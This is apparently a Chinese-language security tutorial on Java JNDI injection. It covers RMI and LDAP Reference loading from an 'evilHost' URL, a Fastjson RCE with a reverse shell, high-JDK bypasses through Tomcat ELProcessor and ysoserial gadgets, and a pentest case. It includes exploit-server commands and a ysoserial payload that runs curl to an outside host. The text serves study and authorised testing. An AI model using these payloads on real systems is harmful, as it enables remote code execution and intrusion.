学习 Java JNDI 注入
0x01 JNDI 注入原理
1. 什么是 JNDI ?
Java Naming and Directory Interface (JNDI),Java 命名和目录接口
客户端可以使用 JNDI 通过名称来发现和查找数据和对象,这些要查找对象可以存储在不同的命名或目录服务中,比如 Remote Method Invocation (RMI),Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) 或者 Domain Name Service (DNS)
官方结构图如下:
Remote Method Invocation (RMI),远程方法调用
这个概念和 RPC 有点相似,但当然是不一样的,RPC 是 Remote Procedure Call,即远程过程调用,RMI 是远程方法调用,是面向对象的,以对象作为参数,https://www.geeksforgeeks.org/difference-between-rpc-and-rmi/
JAVA 的 RMI 依赖的通信协议为 JRMP (Java Remote Message Protocol ,Java 远程消息交换协议) ,而且在 RMI 中对象通过序列化的方式进行编码传输
RMI 的远程方法调用过程
RMI 是如何调用远程方法的呢,难道是把远程对象下载到客户端?RMI 确实传递了一个对象,但不是要使用的远程对象,而是 stub 对象, Java RMI stubs 是一个特殊类,用于客户端调用远程对象方法
上图为客户端获取 Java RMI stubs 的过程 ,stub 中含有远程对象的通信地址和端口等信息,调用过程如下:
客户端调用 stub 上的方法
stub 连接到服务器,提交参数
服务器执行对应的方法,返回结果
stub 将结果交给客户端
图中的 RMI Registry 即为 RMI 注册表,客户端连接后,用来返回远程对象的 stub,默认监听在 1099 端口
1 | try { |
客户端查询
1 | Registry registry = LocateRegistry.getRegistry("remote_host", 1099); |
2. JNDI References 注入
所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化
Reference 类常用属性:
- className 远程加载时所使用的类名
- classFactory 加载的 class 中需要实例化类的名称
- classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议
比如:
1 | Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); |
此时,假设使用 rmi 协议,客户端通过 lookup 函数请求上面 bind 设置的 Exploit
1 | Context ctx = new InitialContext(); |
因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URL: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行
3. Fastjson JdbcRowSetImpl 反序列化利用
这里以 Fastjson 为例,利用 JNDI 注入和 JdbcRowSetImpl 利用链实现 RCE
Fastjson 是 Alibaba 的一个 JSON 库 https://github.com/alibaba/fastjson
通过 https://github.com/CaijiOrz/fastjson-1.2.47-RCE 中的 marshalsec-0.0.3-SNAPSHOT-all.jar 快速开启 RMI 或者 LDAP 服务
然后在 Exploit.class 所在的目录开启一个 HTTP 服务,再 nc 监听一个端口接收反弹 shell 即可
Payload:
1 | { |
成功反弹 shell
该漏洞环境的 Java 版本是 openjdk 1.8.0_102,实际环境中在目标服务器上经常会遇到高版本 jdk,
Oracle JDK 6u45、7u21 之后:
java.rmi.server.useCodebaseOnly 的默认值被设置为 true
禁用自动加载远程类文件,仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载
https://www.oracle.com/java/technologies/javase/6u45-relnotes.html
https://www.oracle.com/java/technologies/javase/7u21-relnotes.html
RMI + JNDI References
Oracle JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项,默认值为 false
不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类
https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141
https://www.oracle.com/java/technologies/javase/7u131-relnotes.html
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html
https://www.oracle.com/java/technologies/javase/6-relnotes.html
LDAP + JNDI References
Oracle JDK 11.0.1、8u191、7u201、6u211之后:
设置 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false
禁止 LDAP 协议使用远程 codebase
https://www.oracle.com/java/technologies/javase/11u-relnotes.html
https://www.oracle.com/java/technologies/javase/8u-relnotes.html
https://www.oracle.com/java/technologies/javase/7-support-relnotes.html#R170_201
关于 codebase 的官方文档:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html
能看出使用 LDAP 攻击的话,允许的 JDK 版本相对 RMI 要高一些,适用性会更强一些,只需要将 RMI 服务换成 LDAP 即可,同时 lookup 函数中的地址类型也要修改
4. JDNI 注入在高版本 JDK 的绕过
因为高版本禁止远程加载,那就在目标本地的 classpath(一组目录的集合,用于 jvm 搜索 class) 中找一个类作为恶意的 Reference Factory 工厂类,利用这个本地 Factory 类执行命令,或者直接构造恶意的序列化对象,利用反序列化Gadget完成利用,因为 JNDI 注入会对该对象进行反序列化
即:
- 利用本地 Class 作为 Reference Factory
- 利用LDAP返回序列化数据,触发本地Gadget
(1)利用本地 Class 作为 Reference Factory
满足要求的工厂类条件:
- 存在于目标本地的 CLASSPATH 中
- 实现 javax.naming.spi.ObjectFactory 接口
- 少存在一个 getObjectInstance() 方法
而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择
getObjectInstance 方法如下
上图 119 行,传入的 Reference为 ResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象
再看后面代码
因为是 newInstance,所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面图中 “forceString” 可以给属性强制指定一个 setter 方法,参数为一个 String 类型
于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 https://github.com/welk1n/JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下
1 | public ReferenceWrapper execByEL() throws RemoteException, NamingException{ |
从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell,原理也是类似的
利用条件:
目标环境含有以下依赖
1 | <dependency> |
因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+,SpringBoot 1.2.x+
恶意 RMI 服务代码
1 | public class App |
实战案例
在一次测试任务中正好遇到了这类情况,服务器 JDK 版本略高(get shell 后发现是 openjdk 1.8.0_201),存在 fastjson <= 1.2.47 的反序列化漏洞,如下
但是使用 RMI + JNDI References 注入或者 LDAP + JNDI References 注入都是不行的,因为 JDK 版本限制,但是由于测试发现目标使用的是 springBoot,所以可以试一试 tomcat-el 利用链,利用本地 Class 作为 Reference Factory
这里直接使用 https://github.com/welk1n/JNDI-Injection-Bypass 的代码了,放在服务器上启动一个恶意 RMI Server
payload 打一下
1 | { |
服务器接收到请求,默认反弹的 shell 监听端口是 5555,可以在 EvilRMIServer.java 代码里改
接收反弹 shell
(2)利用反序列化触发本地 Gadget
在使用 LDAP + JNDI Reference 注入受到目标 JDK 版本限制的时候,无法让目标使用我们的远程类,这时可以使用 LDAP 直接返回一个序列化的对象数据,因为如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化,利用目标本地 classpath 中的 gadget 进行反序列化而完成漏洞利用
假设目标使用了存在漏洞的 Commons Collections,先使用 ysoserial 生成一条反序列化 payload
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'curl 192.168.169.112:7777' | base64 |
因为现在 jdk 1.8 用的比较多,一些老 payload 如 CommonsCollections1、3 因为 jdk 更新了 AnnotationInvocationHandler,所以用不了,会出现java.lang.Override missing element entrySet
的错误
搭建恶意 ldap 服务,这里就直接使用 https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 中的代码了
修改环境所需要的 pom.xml,在 HackerLDAPRefServer.java 中的 javaSerializedData 更改 payload,然后 maven 构建即可,注意要打包好依赖
启动服务
1 | java -cp hackerserver-jar-with-dependencies.jar HackerLDAPRefServer 192.168.169.112 8888 1389 |
下面是更改客户端代码,在项目中 PoC 目录,fastjsonjndi.Victim,只需要如下代码触发即可,其它代码可以先注释掉,更改对应的 Commons Collections 版本,将项目依赖打包好
根据自定义的 payload,监听对应端口,启动客户端,进行 JNDI lookup,成功利用反序列化执行系统命令
1 | java -cp VictimClient-jar-with-dependencies.jar fastjsonjndi.Victim |
(3)JRPM 反序列化
关于 JRMP 协议(Java Remote Message Protocol),在上文中页有所提及,是 RMI 专用的 Java 远程消息交换协议,在 RMI 中,对象通过序列化的方式进行编码传输
服务端攻击客户端
首先利用 ysoserial 生成 payload 并建立一个 JRMPListener,作为服务端
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open /Applications/Calculator.app" |
下面找一个简单的客户端 lookup 连接即可,就直接使用上面的 Victim.java 修改了
其它代码注释,添加
1 | try { |
接口类要继承 java.rmi.Remote
1 | public interface HelloInterface extends java.rmi.Remote { |
现在,启动客户端,连接服务端,如下图所示,由于客户端反序列化服务端返回的 payload 数据,成功利用 CommonsCollections6 弹出计算器
反过来客户端打服务端也是可以的,可以利用 ysoserial.exploit.JRMPClient
Reference
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html